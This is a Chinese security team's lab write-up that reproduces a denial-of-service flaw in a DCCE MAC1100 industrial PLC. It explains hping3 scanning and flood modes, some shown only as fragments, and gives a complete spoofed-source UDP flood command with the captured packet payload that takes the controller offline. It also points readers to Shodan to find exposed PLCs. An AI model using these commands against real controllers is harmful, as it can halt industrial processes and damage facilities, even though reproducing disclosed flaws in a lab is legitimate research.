![126b4d04-7a13-eb11-8da9-e4434bdf6706.png](http://p02.5ceimg.com/content/126b4d04-7a13-eb11-8da9-e4434bdf6706.png)
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
一、前言
自从购买了PLC设备后,经常在网上搜索一些关于PLC的漏洞进行复现,但网上根本找不到漏洞相关的exp,只好自己摸着石头过河。另外,下周正好也有工控的项目将要实施,利用周末的时间继续展开研究吧,可谓临近磨枪又快又光。
在之前也用过Kali的hping3命令,但是没有对其深入研究,在此笔者本着学习的态度借鉴了灯塔实验室
大佬们的思路,使用hping3命令对plc进行了DDoS攻击实验,借此机会也对hping3命令进行了深入研究。于是将研究过程和成果记录下来,供大家学习与交流,技术菜、大佬勿喷、意见随便留!
二、漏洞简述
漏洞名称:DCCE MAC1100 PLC存在拒绝服务漏洞
CNVD编号:CNVD-2018-19111
危害级别:高
漏洞描述:MAC1100 PLC是大连理工计算机控制工程有限公司生产的一款可编程逻辑控制器。DCCE MAC1100 PLC存在拒绝服务漏洞,攻击者可通过非授权的构造特定的网络数据包,利用漏洞导致PLC拒绝服务。
漏洞解决方案:厂商尚未提供漏洞修复方案,请关注厂商主页更新:http://www.dcce.cn
漏洞链接:https://www.cnvd.org.cn/patchInfo/show/137915
三、Hping3简介
Hping3是一款免费的数据包生成器和分析器。可用于安全审计、防火墙规则测试、网络测试、端口扫描、性能测试,压力测试(DOS),几乎可以发送任意类型的TCP/IP数据包。功能强大但是每次只能向一个IP地址发送数据包,还能够在两个相互包含的通道之间传送文件。
3.1 Hping3安装
命令:apt install hping3
3.2 Hping3参数帮助:
显示帮助。
3.3 Hping3测试
命令:hping3 -1 192.168.1.181
(类似于ping命令)
3.4 单端口探测
命令:hping3 -I eth0 -p 22 -c 1 -S 192.168.100.104
SYN+ACK表示22端口开放
命令:hping3 -I eth0 -p 21 -c 1 -S 192.168.100.104
RST+ACK表示21端口关闭或被过滤
3.5 多端口探测
命令:hping3 -8 1-1024 192.168.100.102
3.6 文件传输
发送端:
接收端:
3.7 主机发现
虽然hping3一次只能扫描一个IP,但是我们可以结合shell脚本语言完成整个网段的扫描。下面使用for循环来实现:
for addr in $(seq 1 254);do hping3 10.211.55.$addr -c 1 –icmp & done
3.8 DoS攻击-Syn Flood攻击
1000 -d
-–rand-source 随机产生伪造源地址
3.9 DoS攻击-TCP Flood攻击
使用以下命令建立全连接:
80
3.10 DoS攻击-ICMP Flood攻击
200 --icmp --flood -a
3.11 DoS攻击-UDP Flood 攻击
6666 -p
3.12 DoS攻击-LAND攻击
80 -a
四、攻击环境
攻击机1:Win7 192.168.1.88
攻击机2:Kali 192.168.1.182
靶机PLC:大工Mac1100系列 192.168.1.181
软件:PLC_Config、Wireshark、Hping3、tcpdump
五、攻击过程
1.首先要使得PLC_Config组态软件连接PLC,具体步骤可参考《MAC系列可编程控制器使用手册V2.0.pdf》
PDF下载链接:http://www.dcce.cn/DownLoadFiles/MAC系列可编程控制器使用手册V2.0.pdf
上图可以看到PLC控制器已上线,让PLC全速运行。
2.抓取关键通讯报文
此处我们以PLC程序下载的报文来进行DoS攻击,打开Wireshark进行抓包
Wireshark语法:udp and ip.src == 192.168.1.88 and ip.addr == 192.168.1.181
筛选出udp协议、源IP为192.168.1.88、目的IP为192.168.1.181的数据包
复制Data字段的Hex Stream:0c00478510000a0000009f0000000000
3.使用Hping3发起DoS攻击
Hping3命令:
hping3 -p 11000 -2 192.168.1.181 -e 0c00478510000a0000009f0000000000 --flood --rand-source
tcpdump抓包查看流量:
DoS攻击效果:
可见,PLC直接掉线,且无法恢复正常工作运行。
断电重启后,PLC再次正常上线运行。
综上,此实验达到了PLC DoS攻击的效果。
六、总结
PLC 原本仅仅是为自动化控制而开发,在其开发之初,其应用场景是极其封闭的,几乎不能与工业内网外的任何第三方设备有所接触,但是近几年互联网的迅猛发展,和物联网、智能硬件的出现,开始逐渐有工业 PLC 暴露在公网之中,大家可以去seebug和shodan上搜索schneider或者siemens等厂商型号来发现公网上的plc设备。
尽管如此,目前PLC的安全性是十分十分差的。首先来说,plc的固件迭代更新缓慢,虽然厂商可能进行维护和更新,但是给工业控制网络中的正在运行的线上plc更新固件,代价是异常巨大的,一次关机可能就是整个工厂的停止运行。其次,目前的plc已经有了一些比较低级的访问控制手段,但是很少有人会主动开启,因为它会降低plc的运行效率和稳定性。因此,一般来说,如果某个plc面向公网开放,我们可以向其加载任意代码。
除了在权限控制上的严重问题,攻击者有可能利用plc作为一个进入生产网络甚至公司内网的网关。
关于更多“PLC网络安全防护技术”可以参考以下两篇文章:
PLC信息安全防护技术研究(上篇) https://www.sohu.com/a/256459887_99909589
PLC信息安全防护技术研究(下篇) https://www.sohu.com/a/257654711_99909589
七、参考资料
hping3命令帮助文档 https://wangchujiang.com/linux-command/c/hping3.html
hping3使用 https://mochazz.github.io/2017/07/23/hping3/
公网开放的plc设备 —— 一种新型的后门 – 路人甲 http://www.vuln.cn/6733
八、关联阅读
工控安全从入门到实战——概述(一) https://mp.weixin.qq.com/s/JoBQ-RB5ANRrf2ic8ArDpQ
工控安全从入门到实战——概述(二) https://mp.weixin.qq.com/s/G7E8dslSN5S3wk3RrJL8BQ
Siemens PLC指纹提取方法汇总 https://mp.weixin.qq.com/s/de3whqmwVtwWWZ8B6J7Zww
大工PLC PLC远程启停攻击实验 https://mp.weixin.qq.com/s/k9tSpQaaeJ7QKSa9cb_bWg
工控安全入门之攻与防 https://mp.weixin.qq.com/s/k4a4FgziQ3toTh5C4-zNWA
Snort入侵检测系统的应用 https://mp.weixin.qq.com/s/pjzYte3p-l1CoybGM1v0eQ
E
N
D
![cb6b4d04-7a13-eb11-8da9-e4434bdf6706.png](http://p02.5ceimg.com/content/cb6b4d04-7a13-eb11-8da9-e4434bdf6706.png)
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
![d06b4d04-7a13-eb11-8da9-e4434bdf6706.png](http://p01.5ceimg.com/content/d06b4d04-7a13-eb11-8da9-e4434bdf6706.png)
![d56b4d04-7a13-eb11-8da9-e4434bdf6706.gif](http://p02.5ceimg.com/content/d56b4d04-7a13-eb11-8da9-e4434bdf6706.gif)